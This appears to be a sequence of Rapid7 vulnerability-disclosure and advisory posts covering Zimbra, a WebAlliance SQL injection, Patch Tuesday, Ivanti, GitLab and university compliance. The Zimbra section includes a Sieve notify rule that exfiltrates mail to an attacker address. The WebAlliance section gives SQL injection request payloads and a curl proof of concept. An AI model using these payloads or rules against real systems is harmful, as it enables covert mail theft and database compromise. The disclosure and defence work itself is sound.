Note that an earlier version of this analysis, presented at BruCON 2026, attributed GetItem, send, move and delete to the same flaw. Comparing intermediate Network Edition releases during this research required multiple restored VM appliances, because EWS is license-gated and normal patching advances the complete system; one appliance retained a separate mailbox authorization state that obscured the boundary, which initially made the impact appear broader. Repeating each operation with explicit authorization and target-state controls narrowed the CVE to FindItem, which still exposes complete MIME and attachments.

Fix

The patch in ZCS 10.1.20 creates the EWS authorization context from the account that signed in, not the mailbox selected by the composite ID. Zimbra applied that correction to both local and remote mailbox operations.

Sieve notify forwarding-restriction bypass (CVE-2026-50055)

zimbraFeatureMailForwardingInFiltersEnabled=FALSE is meant to stop users creating server-side mail-forwarding rules. Zimbra enforces it by rejecting Sieve redirect, but accepts notify even though that action can send selected headers and the complete text body to an arbitrary external address. An authenticated user can therefore install persistent mail exfiltration despite the administrator's restriction. If forwarding is normally allowed, there is no policy boundary to bypass.

Technical analysis

Redirect is the only blocked action

Both the ModifyFilterRulesRequest and ModifyOutgoingFilterRulesRequest SOAP commands call checkForwardFilterAttr() before saving a rule. The check recognizes only one action type:

// DocumentHandler.checkForwardFilterAttr()
public boolean checkForwardFilterAttr(Account account, List<FilterRule> filterRules,
        String filterRuleType) throws ServiceException {
    if (!account.isFeatureMailForwardingInFiltersEnabled() && !filterRules.isEmpty()) {
        for (FilterRule filterRule : filterRules) {
            if (!Objects.requireNonNull(filterRule.getFilterActions()).stream()
                .anyMatch(FilterAction.RedirectAction.class::isInstance) // [0] redirect only
                || this.checkIfFilterAlreadyExists(filterRule, account, filterRuleType))
                continue;
            return false;
        }
    }
    return true; // [1] all other actions allowed
}

At [0], the policy classifies only RedirectAction as forwarding, meaning NotifyAction and RFCCompliantNotifyAction reach [1] even though they can send attacker-selected message content to an external email address.

Notify expands message content

These actions can include message content rather than just a generic alert because SoapToSieve.getSieveScript() enables the variables and enotify extensions. FilterUtil.getVarsMap() then supplies the values available to the notification:

// FilterUtil.getVarsMap() excerpt
// ... case-insensitive variable-map construction omitted
Enumeration enumeration = mimeMessage.getAllHeaders();
while (enumeration.hasMoreElements()) {
    Header header = (Header)enumeration.nextElement();
    vars.put(header.getName().toLowerCase(),
        ZInternetHeader.decode(
            mimeMessage.getHeader(header.getName(), ","))); // [2] decoded headers
}
vars.put("subject", parsedMessage.getSubject());
MPartInfo bodyPart = Mime.getTextBody(parsedMessage.getMessageParts(), false);
if (bodyPart != null) {
    // ... IOException handling omitted
    vars.put("body", Mime.getStringContent(
        bodyPart.getMimePart(),
        mailbox.getAccount().getPrefMailDefaultCharset())); // [3] selected text body
}
return vars;

When the rule runs, Notify.executeBasic() expands those variables into the notification subject and body. [2] makes decoded headers available, and [3] supplies the text part selected by Mime.getTextBody(). It does not supply raw MIME or attachments.

Exploitation

Installing persistent exfiltration

An authenticated user can place the following rule object inside ModifyFilterRulesRequest:

<filterRule name="Email Notification" active="1">
  <filterTests condition="allof"><trueTest/></filterTests>
  <filterActions>
    <actionNotify a="attacker@external.example"
      su="Fwd: ${subject}"
      content="From: ${from}
To: ${to}
Subject: ${subject}

${body}"/>
    <actionKeep/>
  </filterActions>
</filterRule>

actionKeep leaves the original message in the user's Inbox, while each matching delivery sends the selected message text and headers to the external address.

The CVE-2026-50055 PoC preserves existing filters while installing the notify rule. After an ordinary message arrived for the filtered account, another mailbox received its subject, sender, recipients, date and complete text body. The CVE-2026-50055 tracker entry has the complete affected-version information.

Hidden from Modern

The persistence is not apparent in Modern. During testing, the server returned the active notification rule while the same account's Filters view remained empty. The server continued to run the rule normally, but Modern did not give the account owner a way to discover or remove it.

Classic did list the attacker-selected name under Active Filters, but its overview did not expose the notification address or copied fields. The rule is therefore not invisible from every client, and an attacker can choose a less conspicuous name.

Impact

The flaw defeats an administrator's attempt to prevent users from forwarding mail with server-side filters. An attacker with an authenticated session can install the rule directly. It continues to disclose future message text and headers after that session expires or the password changes, without appearing in Modern's Filters view. It does not forward attachments or raw MIME.

Fix

The patch in ZCS 10.1.20 treats notify and its RFC-compliant variant as forwarding actions and rejects them under the same account policy as redirect.

Remediation

Apply the latest supported Zimbra release. Zimbra's security advisory lists CVE-2026-73571 as fixed in ZCS 10.1.17 and CVE-2026-10631 and CVE-2026-50055 as fixed in ZCS 10.1.20. No fixed release is publicly listed for CVE-2026-93635 or CVE-2026-93637 at the time of publication, so install the security update containing those fixes when Zimbra releases it.

Upgrading does not remove filter rules already saved to accounts. Administrators should inspect the stored incoming and outgoing filter rules for external actionNotify and RFC-compliant notify actions that violate forwarding policy; Modern's Filters view is not sufficient for this review.

Detection and Incident Response

A reverse proxy or web application firewall that inspects request bodies can detect multiple authenticate aliases in one anonymous GraphQL request. Zimbra's EWS logs expose cross-user operations involving two different account UUIDs, as shown in the EWS IoCs. Saved notify rules and outbound notification traffic provide more direct evidence of the Sieve path.

EWS creates no delegation grant to revoke, Sieve rules remain as saved account state, and sender impersonation can generate ordinary Sent and MTA artifacts. Recovery must cover those server-side changes and any other mailbox reached, not only the password of the account first compromised.

Credit

The assessment was conducted by Jonah Burgess (CryptoCat), Senior Security Researcher at Rapid7, in accordance with Rapid7's vulnerability disclosure policy.

Disclosure timeline

• April 17, 2026: Rapid7 submitted an initial report covering 23 findings.

• April 24, 2026: Zimbra acknowledged the report.

• May 21, 2026: Zimbra confirmed they validated 10 of the 23 findings, three of which were duplicates.

• May 28, 2026: ZCS 10.1.17 fixed CVE-2026-73571.

• June 1, 2026: Zimbra requested an embargo on publication until the planned ZCS 10.1.18 release in September.

• June 16 and July 7, 2026: ZCS 10.1.18 and 10.1.19 were released without additional fixes from the initial report.

• July 15, 2026: Zimbra and Rapid7 agreed on September 24 as the coordinated disclosure date.

• July 20, 2026: ZCS 10.1.20 fixed three additional CVE-assigned findings from the initial report: CVE-2026-50054, CVE-2026-10631 and CVE-2026-50055.

• August 19, 2026: Rapid7 submitted a second report containing 32 additional findings.

• August 31, 2026: Rapid7 and Zimbra met to prioritize remediation and discuss patch verification.

• September 8, 2026: Rapid7 submitted a third report containing 25 lower-priority findings.

• September 17–18, 2026: Zimbra requested 90 days from receipt of the later report before publication of full technical details. Rapid7 scheduled those later findings for November 23.

• September 24, 2026: ZCS 10.1.21 fixed four findings from the second report. Rapid7 presented selected results and attack chains at BruCON without releasing the associated weaponized PoCs.

While performing continuous red teaming exercises through Rapid7’s Vector Command service, Rapid7 discovered CVE-2026-108065, an SQL Injection vulnerability (CWE-89) in Channel Software WebAlliance eCommerce.The exploit allows a malicious actor to read sensitive data from the database, or, if the database user has high privileges, run system commands on the database server. The vulnerability, scored as CVSSv3.1 9.8 (Critical).

Product Description

WebAlliance eCommerce by Channel Software is an all-in-one B2B e-commerce, digital catalog, and customer portal platform purpose-built for wholesale distributors and industrial manufacturers. 

Impact

The SQL Injection exploit can be leveraged to view sensitive information in the database, such as user PII and passwords. If logged in with DB admin privileges, the vulnerability can be exploited to run system commands on the server running the database. 

Credit

This vulnerability was discovered by Marcus Chang, Security Consultant at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

CVE-2026-108065 - Unauthenticated SQL Injection

Technical Details 

Rapid7 exploited the vulnerability during blackbox testing and was unable to perform root cause analysis.The sUserID parameter in the GetUser method in a SOAP request to /preapproval.asmx doesn’t properly escape the user supplied sUserID. The SQL query can be escaped by inserting a single quote in the parameter. The database is running Microsoft SQL Server which allows for stacked queries. The query can be escaped with ( ‘; ) to inject completely new SQL commands.

POST /preapproval.asmx HTTP/2
Host: {target_site}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Soapaction: http://tempuri.org/GetUser
Content-Type: text/xml;charset=UTF-8
Content-Length: 377

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:GetUser>
         <!--type: string-->
         <tem:sUserID>90'; { INJECT_MSSQL_STATEMENT_HERE } ;--</tem:sUserID>
      </tem:GetUser>
   </soapenv:Body>
</soapenv:Envelope>

If a single quote inserted, the SQL server will fail to parse the query and return a syntax error in the HTTP response:

HTTP/2 200 OK
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/10.0
X-Frame-Options: SAMEORIGIN
P3p: CP="Potato"
Date: { Date }
Content-Length: 440

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><GetCustomerResponse xmlns="http://tempuri.org/"><GetCustomerResult>Incorrect syntax near 'ZZZ'. Unclosed quotation mark after the character string ''.</GetCustomerResult></GetCustomerResponse></soap:Body></soap:Envelope>

Information can be extracted using time based SQL injection payloads. For example, a query can be injected to force the database to sleep for 2 seconds if the database user is a sysadmin:

POST /preapproval.asmx HTTP/2
Host: {target_site}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Soapaction: http://tempuri.org/GetUser
Content-Type: text/xml;charset=UTF-8
Content-Length: 377

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:GetUser>
         <!--type: string-->
         <tem:sUserID>90';IF IS_SRVROLEMEMBER('sysadmin') = 1
    WAITFOR DELAY '00:00:02';--
</tem:sUserID>
      </tem:GetUser>
   </soapenv:Body>
</soapenv:Envelope>

If the database user is sysadmin, SQL Ole Automation can be used to upload a file.

If the database is running from the same server as the web application, ASPX files can be uploaded. They can then be browsed to run their code and perform system commands on the server.

Proof-of-Concept (POC) Example:

Curl POC:

curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Soapaction: http://tempuri.org/GetCustomer' -H $'Content-Type: text/xml;charset=UTF-8' \
    --data-binary $'<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:tem=\"http://tempuri.org/\">\x0d\x0a   <soapenv:Header/>\x0d\x0a   <soapenv:Body>\x0d\x0a      <tem:GetCustomer>\x0d\x0a         <!--type: string-->\x0d\x0a         <tem:sCustID>90\'; { YOUR_SQL_STATEMENT_HERE } ;-- </tem:sCustID>\x0d\x0a      </tem:GetCustomer>\x0d\x0a   </soapenv:Body>\x0d\x0a</soapenv:Envelope>' \
    $'https://{target_host}/preapproval.asmx'

Remediation

Block access to /preapproval.asmx.  

Disclosure Timeline

• July 13 2026: Issue discovered by Marcus Chang, and exploitation reported to the Vector Command customer. 

• August 28, 2026: Initial contact with Channel Software.

• September 8, 15, and 29, 2026: Follow up email sent to Channel Software to confirm initial contact and provide details of the correct channel to share the details of the vulnerability. 

• October 9, 2026: Follow up email sent to Channel Software informing them of public disclosure on October 14 and assignment of CVE, along with a request for a vendor statement. Rapid7 received no response from Channel Software. 

• October 14, 2026: Public disclosure via publication of this blog post.

Windows Shell: zero-day security feature bypass

The Windows Shell is Microsoft’s term for the GUI interaction logic for the entire OS provided by explorer.exe and associated libraries and APIs, and for the second time this year, the Windows Shell is the site of an exploited-in-the-wild zero-day vulnerability. Today’s specimen is CVE-2026-96951. Once again, the immediate prize for an attacker is a Mark of the Web (MOTW) bypass. What this means is that Windows won’t provide the user with a dialog explaining that Windows protected their PC, because in this case, it didn’t. Exploitation requires that a user opens a specially crafted malicious file or visits an attacker-controlled site, so the evergreen advice about being careful what you click remains valid. Fans of vintage operating systems should note that Windows Server 2012 doesn’t receive a patch, although Server 2012 R2 does. The advisory acknowledges reporters from multiple organizations, although none from within Microsoft. The vulnerability also affected Microsoft’s Outlook.com cloud services, although Outlook.com was patched in a build dated several weeks ago.

.NET Framework: zero-day security feature bypass

Microsoft is aware of some level of public disclosure of CVE-2026-108398, a .NET Framework security feature bypass. Exploitation requires an attacker with an existing foothold to register a malicious .NET assembly for loading by a protected process, bypassing Windows Defender Application Control (WDAC) enforcement. Microsoft rebranded WDAC as App Control for Business several years ago, so you may know it under its new name. The Microsoft Learn page for Application Control for Windows points out that “your organization's data is one of its most valuable assets... and threat actors want it”, and this is, of course, correct. The patch presumably removes an attacker-controlled location from the list of places .NET Framework searches for registered assemblies, which are typically contained within DLLs and executables. If any further indications were needed that vulnerability volumes are increasing industry-wide, this is only the second month that Microsoft has published vulnerabilities with six-digit CVE numbers, but these extra-large CVEs will seem unremarkable from now on.

Outlook: multiple no-interaction RCEs

The sheer volume of vulnerabilities in recent Patch Tuesday releases can easily include several examples of potentially concerning vulnerabilities, each of which might have been more remarkable in its own right back when volumes were lower. Today, Microsoft has published five separate remote code execution vulnerabilities in Outlook where the preview pane is a vector, meaning that simply scrolling past an email in the Outlook reading pane would be sufficient to trigger exploitation. Worse still, Outlook might helpfully display the preview without any user interaction at all. All five of CVE-2026-70242, CVE-2026-97749, CVE-2026-97016, CVE-2026-88156, and CVE-2026-70291 receive fixes in the same patches. No-interaction Outlook preview pane vulnerabilities can sometimes feature prominently in state-backed actor campaigns, with CVE-2023-23397 as a prominent example in this category.

Edge: security updates unclear

In September 2026, Microsoft did not appear to publish any desktop browser security advisories between the start of the month and Patch Tuesday. In October, a slightly different approach has emerged: several recent entries in the Edge security updates release notes mention new versions of Edge which incorporate the latest updates from the Chromium project, but without detailing which vulnerabilities have been fixed, stating instead, “CVE's will be added as soon as available,” and directing readers to the Security Update Guide (SUG). At the time of writing, the SUG lists a total of zero vulnerabilities addressed in Edge in the first 13 days of October, and the “CVE’s added soon” message has been up for over a week. As a result, defenders have no obvious way of knowing which recent vulnerabilities Microsoft has addressed in Edge.

Microsoft lifecycle update

In Microsoft product lifecycle news, today sees Windows 11 24H2 Home & Pro reach end of servicing, while Windows Server 2022 moves to extended support, with free critical security updates continuing but no further feature development. Also this month, the final curtain falls for Windows Server 2012 and 2012 R2 with the expiry of the third and final year of cash-for-updates Extended Security Update (ESU) program for these aging workhorses. Microsoft lists the end of ESU Year 3 on October 14, 2026, in both cases. Microsoft has a long history of providing at least some security patches for products beyond the end of support, with Server 2008 being a case in point, but the time to move past Server 2012 is now. Office 2021 also moves into retirement on October 14; this includes the Long-Term Servicing Channel, with no ESU available in that case.

Also on October 15, 2026, Exchange Server 2016 and Exchange Server 2019 finally join the “no ESU” club, after two previous six-month reprieves. Microsoft seems to really mean it this time, since any future Exchange Server CVEs released by MSRC will stop mentioning Exchange 2016 and 2019. However, Microsoft points out that a lack of warnings does not mean those unsupported versions are not vulnerable to future security issues.

Summary charts

On October 13, 2026, Ivanti published a security advisory for CVE-2026-104935, a high-severity authentication bypass by spoofing (CWE-290) affecting Ivanti Connect Secure (ICS). The vulnerability has a CVSSv3.0 score of 8.6 and allows a remote, unauthenticated attacker to execute arbitrary commands.

Ivanti reports that exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers. This indicates that exploitation has been occurring as a zero-day vulnerability. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) confirms exploitation in the wild, and added CVE-2026-104935 to its Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor's public disclosure. The digital forensics firm Volexity has published a detailed blog post describing the threat actor activity, which was detected in early October 2026. Volexity notes that in addition to leveraging CVE-2026-104935 as a zero-day, the threat actor also leveraged an as-yet unpatched privilege escalation vulnerability which Ivanti are planning to patch at a later date.

According to the vendor, a portion of the vulnerability was initially discovered through its product security program and patched in the July 2026 release of 25.1.3.0. Exploitation occurred while Ivanti was working to backport the fix to the remaining supported versions.

Ivanti Connect Secure is a popular enterprise VPN solution and naturally sits on the edge of a corporate environment. The product has a history of being targeted by attackers, with zero-day exploitation of other vulnerabilities occurring back in both 2024 and 2025.

Given the confirmed exploitation, the ability to execute commands without authentication, along with the history of the product, Rapid7 recommends that organizations running affected versions apply the appropriate update on an emergency basis outside of normal patching cycles.

Mitigation guidance

Vendor-supplied updates are available to remediate CVE-2026-104935. Ivanti lists the following affected and resolved versions:

Note that the vendor advisory confirms that versions 22.7.x and below are unaffected.

At the time of the advisory, Ivanti states that reliable indicators of compromise are not available, however Volexity have published several here. Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Customers who suspect exploitation should follow the vendor's recovery steps.

For the latest mitigation guidance, please refer to the vendor's security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-104935 with a vulnerability check expected to be available in the October 14 content release.

Updates

• October 13, 2026: Initial publication.

On October 12, 2026, GitLab published a critical patch release for CVE-2026-97229, an integer overflow or wraparound (CWE-190) in the CI/CD regular expression compiler affecting GitLab Community Edition (CE) and Enterprise Edition (EE). GitLab assigned the vulnerability a CVSSv3.1 score of 10.0. Under certain conditions, a remote attacker can execute arbitrary code on an affected GitLab server through a specially crafted regular expression stored in a malicious CI/CD configuration. While the vendor supplied CVSS score indicates that exploitation is fully unauthenticated, in reproducing the exploit it was noted that an attacker must have a mechanism to plant a malicious CI/CD configuration to a repository prior to triggering the vulnerability. On GitLab instances where new users can self register and create projects, this constraint is removed.

The vulnerability affects self-managed GitLab instances across all deployment types. GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action.

As of this writing, there is no confirmed in-the-wild exploitation of CVE-2026-97229. However, Rapid7 Intelligence has independently reproduced arbitrary code execution on an unpatched, official GitLab CE image. Given the vulnerability's maximum CVSS score, network-accessible trigger, and code execution in a GitLab application worker, Rapid7 recommends upgrading affected self-managed instances on an urgent basis, outside of normal patch cycles.

Technical overview

Rapid7's testing found that an attacker must first be able to commit a malicious CI/CD configuration file .gitlab-ci.yml, and a repository path containing UTF-8 characters to a branch in a public project. For example, an ordinary account can satisfy this prerequisite by creating a public project on a self-managed GitLab instance where that functionality is permitted. 

The crafted regular expression initially compiles in a compact US-ASCII representation and passes GitLab's regular expression validation. When it is evaluated against a specially formed, valid UTF-8 repository path, Ruby's Onigmo regular expression engine recompiles it for the new encoding after those checks have completed. An integer overflow in the compiler's program-size calculation then causes invalid regular expression instructions to be generated. The resulting loss of control-flow integrity can be used to execute attacker-controlled Onigmo VM operations in the Ruby process and run an operating system command as the GitLab git user.

Rapid7 validated the complete chain against the official GitLab 19.4.1 CE Linux amd64 image with address space layout randomization enabled. The same input did not execute against the official patched 19.4.2 CE image. Further root cause and exploit-chain details can be found in a separate Rapid7 technical analysis.

Mitigation guidance

A vendor-provided patch is available to remediate CVE-2026-97229. Organizations running affected self-managed GitLab CE or EE instances should immediately upgrade to a fixed version, without waiting for a regular patch cycle:

GitLab.com has already been updated, and GitLab Dedicated customers do not need to take action. Until affected self-managed instances can be upgraded, restricting anonymous access to public projects and preventing untrusted users from creating or writing to public projects can reduce exposure to the exploit path demonstrated by Rapid7. These controls address only the demonstrated delivery path and do not remediate the vulnerable regular expression compiler.

For the latest mitigation guidance, please refer to GitLab's security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-97229 with an authenticated vulnerability check expected to be available in today’s (October 13) content release.

Updates

• October 13, 2026: Initial publication.

• Added Rapid7 PoC Github repo link.

• October 16, 2026: Added link to Rapid7 technical analysis.

Each framework brings different requirements, reporting timelines, and consequences for failure. Managing them across one institution is already complex, but across a multi-campus university system with separate tools, staff, data stores, and governance practices, it becomes much harder to establish what happened, what data was involved, and which reporting requirements apply. With universities already facing an average of 4,388 cyberattacks per organization per week, according to the figures cited in Part 1, that regulatory complexity is becoming an operational security problem as much as a compliance one.

FERPA puts universities on a 24-hour clock

The Family Educational Rights and Privacy Act has governed the privacy of student education records since 1974, but the pressure on security teams becomes much more immediate when financial aid information is involved. If a breach compromises that data, institutions must notify the Department of Education’s Federal Student Aid office within 24 hours of discovery, leaving very little time to establish the scope of an incident while the response is still underway.

A ransomware attack discovered at 9 PM on a Friday makes the challenge easier to picture. By 9 PM Saturday, the institution may need to determine whether financial aid data was involved, understand which systems and students were affected, coordinate with legal teams, and prepare regulatory notification, all while investigators are still containing the incident and establishing what else the attackers accessed. In a multi-campus environment, that gets harder when financial aid data is spread across separate systems or when the initial discovery happens well after the compromise began.

GLBA brings financial-sector obligations into higher education

Universities may not look like traditional financial institutions, but their role in student lending and financial aid brings them within the scope of the Gramm-Leach-Bliley Act’s Safeguards Rule. Covered institutions are expected to maintain a written information security program addressing areas including risk assessment, access controls, encryption, multi-factor authentication, incident response, and vendor oversight.

Reporting requirements can add further pressure. If a security event affects 500 or more consumers, the draft notes that institutions must notify federal law enforcement immediately after discovering the breach. In a university environment, where shared financial aid systems may contain records belonging to thousands of students across multiple campuses, that threshold can be reached quickly.

The multi-campus structure matters here because financial aid data rarely follows neat organizational boundaries. Students transfer between campuses, shared services may centralize information, and one system may support several institutions. A breach that begins at one campus can therefore create obligations for the wider university system, making it important to understand the scope of the incident beyond the environment where it was first detected.

HIPAA reaches well beyond the university hospital

Protected health information can exist across a much wider university environment than the hospital alone. Student health centers, counseling services, physical therapy programs, and research projects involving human subjects may all create, receive, transmit, or maintain health data, sometimes through systems that have been procured and managed separately from central IT.

A mid-sized university with a health clinic, counseling center, physical therapy program, and clinical research lab, for example, could be handling significant volumes of PHI across several independently managed environments. If one of those systems is compromised, the security team needs to establish quickly whether health information was involved and how far the incident spread.

Under the requirements set out in the draft, breaches affecting 500 or more individuals must be reported to the Department of Health and Human Services within 60 days of discovery, while some incidents also trigger media notification requirements. For universities operating across several states or with online programs, the picture becomes more complicated again. Without a reliable view of where PHI resides across the institution, determining whether those reporting obligations have been triggered can itself become part of the incident response challenge.

CMMC raises the stakes for university research

CMMC creates a different kind of pressure for institutions conducting Department of Defense-funded research or handling Controlled Unclassified Information. Research computing environments are often among the most decentralized parts of a university: individual labs build their own systems, principal investigators make independent technology decisions, and networks can evolve over years without the consistency found in centrally managed administrative IT.

CMMC Level 2 requires organizations to demonstrate implementation of 110 security practices drawn from NIST 800-171. Meeting those requirements across a diverse research estate can be difficult without limiting the flexibility researchers need to conduct their work. For institutions that rely heavily on federal research funding, the consequences also extend beyond a conventional compliance penalty because failure to meet CMMC requirements can affect contract eligibility.

One incident can trigger several compliance obligations

The real operational difficulty appears when several of these frameworks apply to the same incident. A large research university may operate student financial aid systems, health services, a hospital, and DoD-funded research environments, creating the possibility that FERPA, GLBA, HIPAA, and CMMC obligations all come into play during one investigation.

Imagine ransomware is first detected on a shared administrative system. As the investigation develops, the compromised account is found to have accessed financial aid records, student health information, and a research environment containing CUI. The university now has to understand several categories of regulated data, determine which reporting thresholds have been met, coordinate with different agencies, and maintain the evidence required for each process while still responding to the attack.

That is difficult even with centralized visibility. When security data, incident records, and compliance evidence sit across different campus tools and teams, building a reliable picture of the incident takes longer and introduces more opportunities for information to be missed.

Preparing for compliance across a multi-campus system

Meeting overlapping compliance requirements depends on being able to answer a relatively small set of questions quickly: where regulated data lives, whether it was affected, how the attacker reached it, and what happened next. University systems need enough shared visibility across campuses to answer those questions without reconstructing the entire incident manually every time something happens.

That includes consistent data classification, centralized access to security and compliance evidence, and incident response processes that have already been tested against the reporting windows institutions may face. Automation can also help teams establish the scope and context of an incident more quickly, particularly where reporting deadlines are measured in hours rather than days.

The aim is to preserve the autonomy individual campuses and research environments require while giving the wider university system enough visibility and coordination to respond consistently when regulated data is involved. As the number of overlapping obligations grows, fragmented security becomes harder to separate from compliance risk.

In Part 3 of this series, we’ll look at how a consolidated security architecture can support that model across multiple campuses, from shared visibility and threat intelligence to more coordinated detection and response.

Rapid7 helps more than 11,000 organizations worldwide take command of their security. Learn more at rapid7.com/sled.